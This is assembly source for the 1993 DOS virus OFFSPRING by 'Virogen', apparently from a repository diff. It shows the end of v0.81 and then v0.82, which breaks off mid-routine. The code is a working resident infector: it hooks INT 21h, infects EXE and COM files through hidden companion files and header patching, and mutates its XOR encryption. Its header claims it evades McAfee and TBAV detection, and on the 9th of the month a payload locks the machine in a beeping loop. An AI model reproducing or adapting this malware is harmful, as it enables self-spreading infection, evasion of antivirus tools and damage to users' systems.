;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
new21 proc ; New INT 21H handler
|
||||
|
||||
cmp ah, signal ; signaling us?
|
||||
jne no
|
||||
mov ah,reply ; yep, give our offspring what he wants
|
||||
jmp end_21
|
||||
no:
|
||||
cmp ax,4b00h ; exec func?
|
||||
jne end_21
|
||||
cmp ch,0FBh ; don't infect when the virus
|
||||
jne run_res ; executes a file
|
||||
|
||||
jmp end_21
|
||||
|
||||
run_res:
|
||||
pushf
|
||||
push ax ; Push regs
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
push sp
|
||||
push ss
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
xor ax,ax ; nullify ES
|
||||
mov es,ax
|
||||
|
||||
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
|
||||
je rel_mem ;
|
||||
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
|
||||
je set_mem ; total system memory.
|
||||
|
||||
jmp no_mem_func
|
||||
|
||||
set_mem:
|
||||
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
|
||||
inc byte ptr add_mem ; make sure we know to add this back
|
||||
jmp no_mem_func
|
||||
rel_mem:
|
||||
add word ptr es: [413h],3 ; Add 3k to total sys mem
|
||||
dec byte ptr add_mem
|
||||
|
||||
|
||||
no_mem_func:
|
||||
mov ah,2fh
|
||||
int 21h ; Get the DTA
|
||||
|
||||
mov ax,es
|
||||
mov word ptr old_dta,bx
|
||||
mov word ptr old_dta+2,ax
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call resident ; Call infection kernal
|
||||
|
||||
mov dx,word ptr old_dta
|
||||
mov ax,word ptr old_dta+2
|
||||
mov ds,ax
|
||||
mov ah,1ah
|
||||
int 21h ; Restore the DTA
|
||||
|
||||
pop ss ; Pop regs
|
||||
pop sp
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
end_21 :
|
||||
db 0eah ; jump to original int 21h
|
||||
old21_ofs dw 0 ; Offset of old INT 21H
|
||||
old21_seg dw 0 ; Seg of old INT 21h
|
||||
new21 endp ; End of handler
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
resident proc
|
||||
|
||||
mov byte ptr vtype,spawn
|
||||
mov word ptr set_bp,0000 ; BP=0000 on load
|
||||
mov byte ptr inf_count,0 ; null infection count
|
||||
mov fname_off, offset fname1 ; Set search for *.EXE
|
||||
mov word ptr mov_di,offset enc_data+2
|
||||
|
||||
find_first:
|
||||
mov word ptr vend,0 ; Clear ff/fn buffer
|
||||
lea si, vend
|
||||
lea di, vend+2
|
||||
mov cx, 22
|
||||
cld
|
||||
rep movsw
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
mov ah, 1ah
|
||||
lea dx, vend
|
||||
int 21h
|
||||
|
||||
mov ah, 4eh ; Findfirst
|
||||
mov cx, 0 ; Set normal file attribute search
|
||||
mov dx, fname_off
|
||||
int 21h
|
||||
|
||||
jnc next_loop ; if still finding files then loop
|
||||
jmp end_prog
|
||||
|
||||
next_loop :
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je start_inf ; yes, skip all this
|
||||
|
||||
mov ah,47h
|
||||
xor dl,dl
|
||||
lea si,file_dir
|
||||
int 21h
|
||||
|
||||
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
|
||||
je ok_find ; for spawning infections
|
||||
jmp find_file
|
||||
|
||||
ok_find:
|
||||
xor bx,bx
|
||||
lm3 : ; find end of directory name
|
||||
inc bx
|
||||
cmp file_dir[bx],0
|
||||
jne lm3
|
||||
|
||||
mov file_dir[bx],'\' ; append backslash to path
|
||||
inc bx
|
||||
|
||||
mov cx,13 ; append filename to path
|
||||
lea si,vend[f_name]
|
||||
lea di,file_dir[bx]
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
xor bx,bx
|
||||
mov bx,1eh
|
||||
|
||||
loop_me: ; search for filename ext.
|
||||
inc bx
|
||||
cmp byte ptr vend[bx], '.'
|
||||
jne loop_me
|
||||
|
||||
inc bx ; change it to COM
|
||||
mov word ptr vend [bx],'OC'
|
||||
mov byte ptr vend [bx+2],'M'
|
||||
|
||||
|
||||
start_inf:
|
||||
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je parastic_inf ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
|
||||
lea dx, vend[f_name]
|
||||
mov ah, 3ch ; Create file
|
||||
mov cx, 02h ; READ-ONLY
|
||||
or cx, 01h ; Hidden
|
||||
int 21h ; Call INT 21H
|
||||
jnc contin ; If Error-probably already infected
|
||||
jmp no_infect
|
||||
contin:
|
||||
|
||||
inc inf_count
|
||||
mov bx,ax
|
||||
|
||||
jmp encrypt_ops
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
parastic_inf :
|
||||
|
||||
cmp word ptr vend+f_sizeh,400h
|
||||
jge cont_inf2
|
||||
jmp no_infect
|
||||
|
||||
cont_inf2:
|
||||
|
||||
lea si,vend+f_name ; Is Command.COM?
|
||||
lea di,com_name
|
||||
mov cx,11
|
||||
cld
|
||||
repe cmpsb
|
||||
|
||||
jne cont_inf0 ; Yes, don't infect
|
||||
jmp no_infect
|
||||
|
||||
cont_inf0:
|
||||
|
||||
mov ax,3d02h ; Open file for reading & writing
|
||||
lea dx,vend+f_name ; Filename in FF/FN buffer
|
||||
int 21h
|
||||
|
||||
jnc cont_inf1 ; error, skip infection
|
||||
jmp no_infect
|
||||
|
||||
cont_inf1:
|
||||
|
||||
|
||||
mov bx,ax
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,04
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
cmp word ptr org_bytes,0e990h
|
||||
jne cont_inf
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
jmp no_infect
|
||||
|
||||
cont_inf:
|
||||
inc inf_count
|
||||
mov ax,4202h ; Set pointer to end of file, so we
|
||||
xor cx,cx ; can find the file size
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov word ptr set_bp,ax ; Change the MOV BP inst.
|
||||
add ax, offset enc_data+2
|
||||
mov word ptr mov_di,ax ; chg mov di,xxxx
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ax,word ptr vend+f_sizeh
|
||||
sub ax,4
|
||||
mov word ptr new_jmp+1,ax
|
||||
|
||||
|
||||
mov ah,40h
|
||||
mov cx,4
|
||||
lea dx,new_code
|
||||
int 21h
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
|
||||
encrypt_ops:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
push bx
|
||||
|
||||
cmp pad_bytes,50
|
||||
je reset_pad
|
||||
inc word ptr pad_bytes ; Increase file size
|
||||
inc word ptr b_wr
|
||||
jmp pad_ok
|
||||
reset_pad:
|
||||
mov ax,pad_bytes
|
||||
sub word ptr b_wr,ax
|
||||
xor ax,ax
|
||||
mov pad_bytes,ax
|
||||
|
||||
pad_ok:
|
||||
|
||||
cmp inc_op,47h ; change ops from DI to SI
|
||||
jne set2
|
||||
dec inc_op
|
||||
dec byte ptr xor_op+1
|
||||
dec di_op
|
||||
dec byte ptr enc_addr
|
||||
dec byte ptr enc_add+1
|
||||
jmp chg_three
|
||||
set2:
|
||||
inc inc_op
|
||||
inc byte ptr xor_op+1
|
||||
inc di_op
|
||||
inc byte ptr enc_addr
|
||||
inc byte ptr enc_add+1
|
||||
|
||||
chg_three:
|
||||
mov ah,inc_op
|
||||
xor cx,cx
|
||||
lea di,sw_byte3
|
||||
chg_four:
|
||||
xor bx,bx ; Switch INC xx's location
|
||||
cmp word ptr [di],9090h
|
||||
je mov_pos
|
||||
inc bx
|
||||
inc bx
|
||||
cmp byte ptr [di+1],90h ; is second byte not 90h
|
||||
je mov_pos
|
||||
dec bx
|
||||
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
|
||||
mov byte ptr [di+2],90h ; to NOP
|
||||
mov byte ptr [di+bx],ah ; place inc xx in other byte
|
||||
|
||||
lea di,sw_byte4
|
||||
inc cx
|
||||
cmp cx,1
|
||||
je chg_four
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
d2:
|
||||
mov ah,2ch ;
|
||||
int 21h ; Get random number from clock - millisecs
|
||||
|
||||
mov word ptr xor_op+2,dx ; save encryption #
|
||||
|
||||
|
||||
mov si,0100h
|
||||
lea di,vend+50 ; destination
|
||||
mov cx,offset vend-100h ; bytes to move
|
||||
cld
|
||||
rep movsb ; copy virus outside of code
|
||||
|
||||
enc_addr:
|
||||
mov di,offset vend
|
||||
enc_add:
|
||||
add di,offset enc_data-100h+52 ; offset of new copy of virus
|
||||
|
||||
go_enc:
|
||||
mov byte ptr ret_byte,0c3h
|
||||
call encrypt ; encrypt new copy of virus
|
||||
mov byte ptr ret_byte,90h
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
pop bx
|
||||
mov cx, offset vend-100h ; # of bytes to write
|
||||
add cx, pad_bytes
|
||||
lea dx, vend+50 ; Offset of buffer
|
||||
mov ah, 40h ; -- our program in memory
|
||||
int 21h ; Call INT 21H function 40h
|
||||
|
||||
mov ax,5701h ; Restore data/time
|
||||
mov cx,word ptr vend[f_time]
|
||||
mov dx,word ptr vend[f_date]
|
||||
int 21h
|
||||
|
||||
|
||||
close:
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
|
||||
no_infect:
|
||||
|
||||
; Find next file
|
||||
find_file :
|
||||
|
||||
cmp inf_count, max_inf
|
||||
je end_prog
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jc end_prog
|
||||
jmp next_loop
|
||||
|
||||
|
||||
end_prog:
|
||||
exit :
|
||||
cmp inf_count,0 ; Start parastic infection on next run
|
||||
jne find_done
|
||||
cmp byte ptr vtype, parastic ; Parastic infection done?
|
||||
je find_done
|
||||
mov fname_off, offset fname2 ; Point to new filespec
|
||||
mov byte ptr vtype, parastic ; virus type = parastic
|
||||
jmp find_first
|
||||
|
||||
|
||||
find_done:
|
||||
mov byte ptr vtype,spawn
|
||||
mov fname_off, offset fname1
|
||||
ret
|
||||
resident endp
|
||||
|
||||
vtype db spawn ; Infection type
|
||||
rot_num dw 0000 ; Used when replacing bytes with OP_SET
|
||||
inf_count db 0 ; How many files we have infected this run
|
||||
com_name db 'COMMAND.COM' ; obvious
|
||||
new_code db 90h
|
||||
new_jmp db 0e9h,00,00 ; New Jump
|
||||
org_bytes db 5 dup(0) ; original first five bytes of parastic inf.
|
||||
pad_bytes dw 0 ; Increase in viru size
|
||||
add_mem db 0 ; Add memory back?
|
||||
old_dta dd 0 ; Old DTA Segment:Address
|
||||
inc_op db 47h ; INC DI (47h) or INC SI (46h)
|
||||
|
||||
copyr db '(c)1993 negoriV' ; my copyright
|
||||
vname db 0ah,0dh,'OFFSPRING V0.81','$'
|
||||
|
||||
fname1 db '*.EXE',0 ; Filespec
|
||||
fname2 db '*.COM',0 ; Filespec
|
||||
fname_off dw fname1 ; Offset of Filespec to use
|
||||
times_inc db 0 ; # of times encryption call incremented
|
||||
sl db '\' ; Backslash for directory name
|
||||
file_dir db 64 dup(0) ; directory of file we infected
|
||||
file_name db 13 dup(0) ; filename of file we infected
|
||||
|
||||
par_blk dw 0 ; command line count byte -psp
|
||||
par_cmd dw 0080h ; Point to the command line -psp
|
||||
par_seg dw 0 ; seg
|
||||
dw 05ch ; Use default FCB's in psp to save space
|
||||
par1 dw 0 ;
|
||||
dw 06ch ; FCB #2
|
||||
par2 dw 0 ;
|
||||
vend: ; End of virus
|
||||
|
||||
cseg ends
|
||||
end start
|
|
@ -0,0 +1,671 @@
|
|||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.82 - BY VIROGEN - 09-06-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with : TASM /m2
|
||||
;
|
||||
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : 0.82
|
||||
; - No longer detectable by Mcafee SCAN as anything.
|
||||
; - No longer detectable by TBAV heuristics.
|
||||
;
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 4Bh (Execute File)
|
||||
; is called the virus will infect up to 5 files
|
||||
; in the current directory. It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; encryption routine switches from using di to si.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
;
|
||||
;
|
||||
title offspring_1
|
||||
.286
|
||||
cseg segment
|
||||
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
|
||||
|
||||
signal equ 7dh ; Installation check
|
||||
reply equ 0fch ; reply to check
|
||||
f_name equ 1eh ; Offset of file name in FF/FN buffer
|
||||
f_sizel equ 1ch ; File size - low - loc in mem
|
||||
f_sizeh equ 1ah ; File size - high - loc in mem
|
||||
f_date equ 18h ; File date - loc in mem
|
||||
f_time equ 16h ; File time - loc in mem
|
||||
max_inf equ 05 ; Maximum files to infect per run
|
||||
max_rotation equ 9 ; number of bytes in switch byte table
|
||||
parastic equ 01 ; Parastic infection
|
||||
spawn equ 00 ; Spawning infection
|
||||
|
||||
org 100h ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
start:
|
||||
|
||||
skip_dec:
|
||||
jmp main ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
di_op db 0bfh
|
||||
mov_di dw offset enc_data+2 ; Point to byte after encryption num
|
||||
;
|
||||
;-------------------------
|
||||
; Encryption/Decryption
|
||||
|
||||
encrypt:
|
||||
cx_m db 90h,0b9h ; MOV CX
|
||||
b_wr dw (offset vend-offset enc_data)/2
|
||||
xor_loop:
|
||||
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
|
||||
sw_byte3: ; INC xx changes position in these bytes
|
||||
inc di
|
||||
nop
|
||||
nop
|
||||
sw_byte4:
|
||||
inc di
|
||||
nop
|
||||
nop
|
||||
loop xor_loop ; loop while cx != 0
|
||||
|
||||
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
|
||||
|
||||
enc_data: ; Start of encrypted data
|
||||
|
||||
;-------------------------------
|
||||
; Non-Resident portion of virus
|
||||
;-------------------------------
|
||||
main proc
|
||||
|
||||
db 0bdh ; MOV BP,xxxx - Load delta offset
|
||||
set_bp:
|
||||
dw 0000
|
||||
|
||||
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
|
||||
|
||||
mov ax,ds: 002ch ; Get environment address
|
||||
mov par_blk[bp],ax ; Save in parameter block for exec
|
||||
|
||||
mov par1[bp],cs ; Save segments for EXEC
|
||||
mov par2[bp],cs
|
||||
mov par_seg[bp],cs
|
||||
|
||||
mov ah,2ah ; Get date
|
||||
int 21h
|
||||
|
||||
cmp dl,9 ; 9th?
|
||||
jne no_display
|
||||
|
||||
mov ah,09 ; display virus name
|
||||
lea dx,vname[bp]
|
||||
int 21h
|
||||
|
||||
xor ax,ax ; seg 0
|
||||
mov es,ax
|
||||
mov dx,1010101010101010b ; lights
|
||||
chg_lights: ; Infinite loop to change keyboard
|
||||
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
|
||||
ror dx,1 ; rotate bits
|
||||
mov cx,0101h ; scan code/ascii
|
||||
mov ah,05h ; push a beep onto keyb buf
|
||||
int 16h
|
||||
mov ah,10h ; Read key back so we don't fill
|
||||
int 16h ; up the keyboard buffer
|
||||
int 5h ; Print-Screen
|
||||
mov ax,0a07h ; Write BEEP to screen
|
||||
xor bh,bh
|
||||
mov cx,1
|
||||
int 10h
|
||||
mov ah,86h ; Delay
|
||||
mov cx,0002h
|
||||
int 15h
|
||||
|
||||
jmp chg_lights
|
||||
|
||||
no_display:
|
||||
|
||||
call install ; check if installed, if not install
|
||||
|
||||
cmp byte ptr vtype[bp],parastic
|
||||
je com_return
|
||||
|
||||
mov bx,(offset vend+50) ; Calculate memory needed
|
||||
mov cl,4 ; divide by 16
|
||||
shr bx,cl
|
||||
inc bx
|
||||
mov ah,4ah
|
||||
int 21h ; Release un-needed memory
|
||||
|
||||
lea dx,file_dir-1[bp] ; Execute the original EXE
|
||||
lea bx,par_blk[bp]
|
||||
mov ch,0FBh ; tell mem. resident virus
|
||||
mov ax,4b00h ; that it's us.
|
||||
int 21h
|
||||
|
||||
mov ah,4ch ; Exit
|
||||
int 21h
|
||||
|
||||
com_return:
|
||||
|
||||
mov si,bp
|
||||
mov cx,6 ; Restore original first
|
||||
add si,offset org_bytes ; six bytes of COM file
|
||||
mov di,0100h
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
mov ax,0100h ; Simulate CALL return to 0100h
|
||||
push ax
|
||||
ret
|
||||
|
||||
main endp
|
||||
|
||||
;--------------------------------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------------------------------
|
||||
|
||||
install proc
|
||||
|
||||
mov ah,signal
|
||||
int 21h
|
||||
cmp ah,reply
|
||||
je no_install
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
jne no_install
|
||||
|
||||
|
||||
mov ax,ds: [3] ;Block size in MCB
|
||||
sub ax,190 ;Shrink Block Size-quick estimate
|
||||
mov ds: [3],ax
|
||||
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
add ax,bx
|
||||
mov es,ax ;Find high memory seg
|
||||
|
||||
mov si,bp
|
||||
add si,0100h
|
||||
mov cx,(offset vend - offset start)
|
||||
mov ax,ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
mov di,100h ; New location in high memory
|
||||
cld
|
||||
rep movsb ; Copy virus to high memory
|
||||
|
||||
push es
|
||||
pop ds
|
||||
xor ax,ax
|
||||
mov es,ax ; null es
|
||||
mov ax,es: [21h*4+2]
|
||||
mov bx,es: [21h*4]
|
||||
mov ds: old21_seg,ax ; Store segment
|
||||
mov ds: old21_ofs,bx ; Store offset
|
||||
|
||||
cli
|
||||
|
||||
mov es: [21h*4+2],ds ; Save seg
|
||||
lea ax, new21
|
||||
mov es: [21h*4],ax ; off
|
||||
|
||||
sti
|
||||
|
||||
no_install:
|
||||
push cs ; Restore regs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
ret
|
||||
install endp
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
new21 proc ; New INT 21H handler
|
||||
|
||||
cmp ah, signal ; signaling us?
|
||||
jne no
|
||||
mov ah,reply ; yep, give our offspring what he wants
|
||||
jmp end_21
|
||||
no:
|
||||
cmp ax,4b00h ; exec func?
|
||||
je exec_func
|
||||
|
||||
jmp end_21
|
||||
|
||||
exec_func:
|
||||
cmp ch,0FBh
|
||||
je end_21
|
||||
run_res:
|
||||
pushf
|
||||
push ax ; Push regs
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
push sp
|
||||
push ss
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
xor ax,ax ; nullify ES
|
||||
mov es,ax
|
||||
|
||||
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
|
||||
je rel_mem ;
|
||||
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
|
||||
je set_mem ; total system memory.
|
||||
|
||||
jmp no_mem_func
|
||||
|
||||
set_mem:
|
||||
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
|
||||
inc byte ptr add_mem ; make sure we know to add this back
|
||||
jmp no_mem_func
|
||||
rel_mem:
|
||||
add word ptr es: [413h],3 ; Add 3k to total sys mem
|
||||
dec byte ptr add_mem
|
||||
|
||||
|
||||
no_mem_func:
|
||||
mov ah,2fh
|
||||
int 21h ; Get the DTA
|
||||
|
||||
mov ax,es
|
||||
mov word ptr old_dta,bx
|
||||
mov word ptr old_dta+2,ax
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call resident ; Call infection kernal
|
||||
|
||||
mov dx,word ptr old_dta
|
||||
mov ax,word ptr old_dta+2
|
||||
mov ds,ax
|
||||
mov ah,1ah
|
||||
int 21h ; Restore the DTA
|
||||
|
||||
pop ss ; Pop regs
|
||||
pop sp
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
end_21 :
|
||||
db 0eah ; jump to original int 21h
|
||||
old21_ofs dw 0 ; Offset of old INT 21H
|
||||
old21_seg dw 0 ; Seg of old INT 21h
|
||||
new21 endp ; End of handler
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
resident proc
|
||||
|
||||
mov byte ptr vtype,spawn
|
||||
mov word ptr set_bp,0000 ; BP=0000 on load
|
||||
mov byte ptr inf_count,0 ; null infection count
|
||||
mov fname_off, offset fname1 ; Set search for *.EXE
|
||||
mov word ptr mov_di,offset enc_data+2
|
||||
|
||||
find_first:
|
||||
mov word ptr vend,0 ; Clear ff/fn buffer
|
||||
lea si, vend
|
||||
lea di, vend+2
|
||||
mov cx, 22
|
||||
cld
|
||||
rep movsw
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
mov ah, 1ah
|
||||
lea dx, vend
|
||||
int 21h
|
||||
|
||||
mov ah, 4eh ; Findfirst
|
||||
mov cx, 0 ; Set normal file attribute search
|
||||
mov dx, fname_off
|
||||
int 21h
|
||||
|
||||
jnc next_loop ; if still finding files then loop
|
||||
jmp end_prog
|
||||
|
||||
next_loop :
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je start_inf ; yes, skip all this
|
||||
|
||||
mov ah,47h
|
||||
xor dl,dl
|
||||
lea si,file_dir
|
||||
int 21h
|
||||
|
||||
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
|
||||
je ok_find ; for spawning infections
|
||||
jmp find_file
|
||||
|
||||
ok_find:
|
||||
xor bx,bx
|
||||
lm3 : ; find end of directory name
|
||||
inc bx
|
||||
cmp file_dir[bx],0
|
||||
jne lm3
|
||||
|
||||
mov file_dir[bx],'\' ; append backslash to path
|
||||
inc bx
|
||||
|
||||
mov cx,13 ; append filename to path
|
||||
lea si,vend[f_name]
|
||||
lea di,file_dir[bx]
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
xor bx,bx
|
||||
mov bx,1eh
|
||||
|
||||
loop_me: ; search for filename ext.
|
||||
inc bx
|
||||
cmp byte ptr vend[bx], '.'
|
||||
jne loop_me
|
||||
|
||||
inc bx ; change it to COM
|
||||
mov word ptr vend [bx],'OC'
|
||||
mov byte ptr vend [bx+2],'M'
|
||||
|
||||
|
||||
start_inf:
|
||||
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je parastic_inf ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
|
||||
lea dx, vend[f_name]
|
||||
mov ah, 3ch ; Create file
|
||||
mov cx, 02h ; READ-ONLY
|
||||
or cx, 01h ; Hidden
|
||||
int 21h ; Call INT 21H
|
||||
jnc contin ; If Error-probably already infected
|
||||
jmp no_infect
|
||||
contin:
|
||||
|
||||
inc inf_count
|
||||
mov bx,ax
|
||||
|
||||
jmp encrypt_ops
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
parastic_inf :
|
||||
|
||||
cmp word ptr vend+f_sizeh,400h
|
||||
jge cont_inf2
|
||||
jmp no_infect
|
||||
|
||||
cont_inf2:
|
||||
|
||||
lea si,vend+f_name ; Is Command.COM?
|
||||
lea di,com_name
|
||||
mov cx,11
|
||||
cld
|
||||
repe cmpsb
|
||||
|
||||
jne cont_inf0 ; Yes, don't infect
|
||||
jmp no_infect
|
||||
|
||||
cont_inf0:
|
||||
|
||||
mov ax,3d02h ; Open file for reading & writing
|
||||
lea dx,vend+f_name ; Filename in FF/FN buffer
|
||||
int 21h
|
||||
|
||||
jnc cont_inf1 ; error, skip infection
|
||||
jmp no_infect
|
||||
|
||||
cont_inf1:
|
||||
|
||||
|
||||
mov bx,ax
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,06
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
cmp word ptr org_bytes,09090h
|
||||
jne cont_inf
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
jmp no_infect
|
||||
|
||||
cont_inf:
|
||||
inc inf_count
|
||||
mov ax,4202h ; Set pointer to end of file, so we
|
||||
xor cx,cx ; can find the file size
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov word ptr set_bp,ax ; Change the MOV BP inst.
|
||||
add ax, offset enc_data+2
|
||||
mov word ptr mov_di,ax ; chg mov di,xxxx
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ax,word ptr vend+f_sizeh
|
||||
sub ax,6
|
||||
mov word ptr new_jmp+1,ax
|
||||
|
||||
|
||||
mov ah,40h
|
||||
mov cx,6
|
||||
lea dx,new_code
|
||||
int 21h
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
|
||||
encrypt_ops:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
push bx
|
||||
|
||||
cmp pad_bytes,50
|
||||
je reset_pad
|
||||
inc word ptr pad_bytes ; Increase file size
|
||||
inc word ptr b_wr
|
||||
jmp pad_ok
|
||||
reset_pad:
|
||||
mov ax,pad_bytes
|
||||
sub word ptr b_wr,ax
|
||||
xor ax,ax
|
||||
mov pad_bytes,ax
|
||||
|
||||
pad_ok:
|
||||
|
||||
cmp inc_op,47h ; change ops from DI to SI
|
||||
jne set2
|
||||
dec inc_op
|
||||
dec byte ptr xor_op+1
|
||||
dec di_op
|
||||
dec byte ptr enc_addr
|
||||
dec byte ptr enc_add+1
|
||||
jmp chg_three
|
||||
set2:
|
||||
inc inc_op
|
||||
inc byte ptr xor_op+1
|
||||
inc di_op
|
||||
inc byte ptr enc_addr
|
||||
inc byte ptr enc_add+1
|
||||
|
||||
chg_three:
|
||||
mov ah,inc_op
|
||||
xor cx,cx
|
||||
lea di,sw_byte3
|
||||
chg_four:
|
||||
xor bx,bx ; Switch INC xx's location
|
||||
cmp word ptr [di],9090h
|
||||
je mov_pos
|
||||
inc bx
|
||||
inc bx
|
||||
cmp byte ptr [di+1],90h ; is second byte not 90h
|
||||
je mov_pos
|
||||
dec bx
|
||||
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
|
||||
mov byte ptr [di+2],90h ; to NOP
|
||||
mov byte ptr [di+bx],ah ; place inc xx in other byte
|
||||
|
||||
lea di,sw_byte4
|
||||
inc cx
|
||||
cmp cx,1
|
||||
je chg_four
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
d2:
|
||||
mov ah,2ch ;
|
||||
int 21h ; Get random number from clock - millisecs
|
||||
|
||||
mov word ptr xor_op+2,dx ; save encryption #
|
||||
|
||||
|
||||
mov si,0100h
|
||||
lea di,vend+50 ; destination
|
||||
mov cx,offset vend-100h ; bytes to move
|
||||
cld
|
||||
rep movsb ; copy virus outside of code
|
||||
|
||||
enc_addr:
|
||||
mov di,offset vend
|
||||
enc_add:
|
||||
add di,offset enc_data-100h+52 ; offset of new copy of virus
|
||||
|
||||
go_enc:
|
||||
mov byte ptr ret_byte,0c3h
|
||||
call encrypt ; encrypt new copy of virus
|
||||
mov byte ptr ret_byte,90h
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
pop bx
|
||||
mov cx, offset vend-100h ; # of bytes to write
|
||||
add cx, pad_bytes
|
||||
lea dx, vend+50 ; Offset of buffer
|
||||
mov ah, 40h ; -- our program in memory
|
||||
int 21h ; Call INT 21H function 40h
|
||||
|
||||
mov ax,5701h ; Restore data/time
|
||||
mov cx,word ptr vend[f_time]
|
||||
mov dx,word ptr vend[f_date]
|
||||
int 21h
|
||||
|
||||
|
||||
close:
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
|
||||
no_infect:
|
||||
|
||||
; Find next file
|
||||
find_file :
|
||||
|
||||
cmp inf_count, max_inf
|
||||
je end_prog
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jc end_prog
|
||||
jmp next_loop
|
||||
|
||||
|
||||
end_prog:
|
||||
exit :
|
||||
